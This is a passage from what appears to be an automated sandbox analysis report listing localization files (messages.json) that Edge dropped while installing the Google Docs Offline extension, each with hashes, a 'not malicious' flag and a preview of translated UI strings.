Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8128_241474875\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
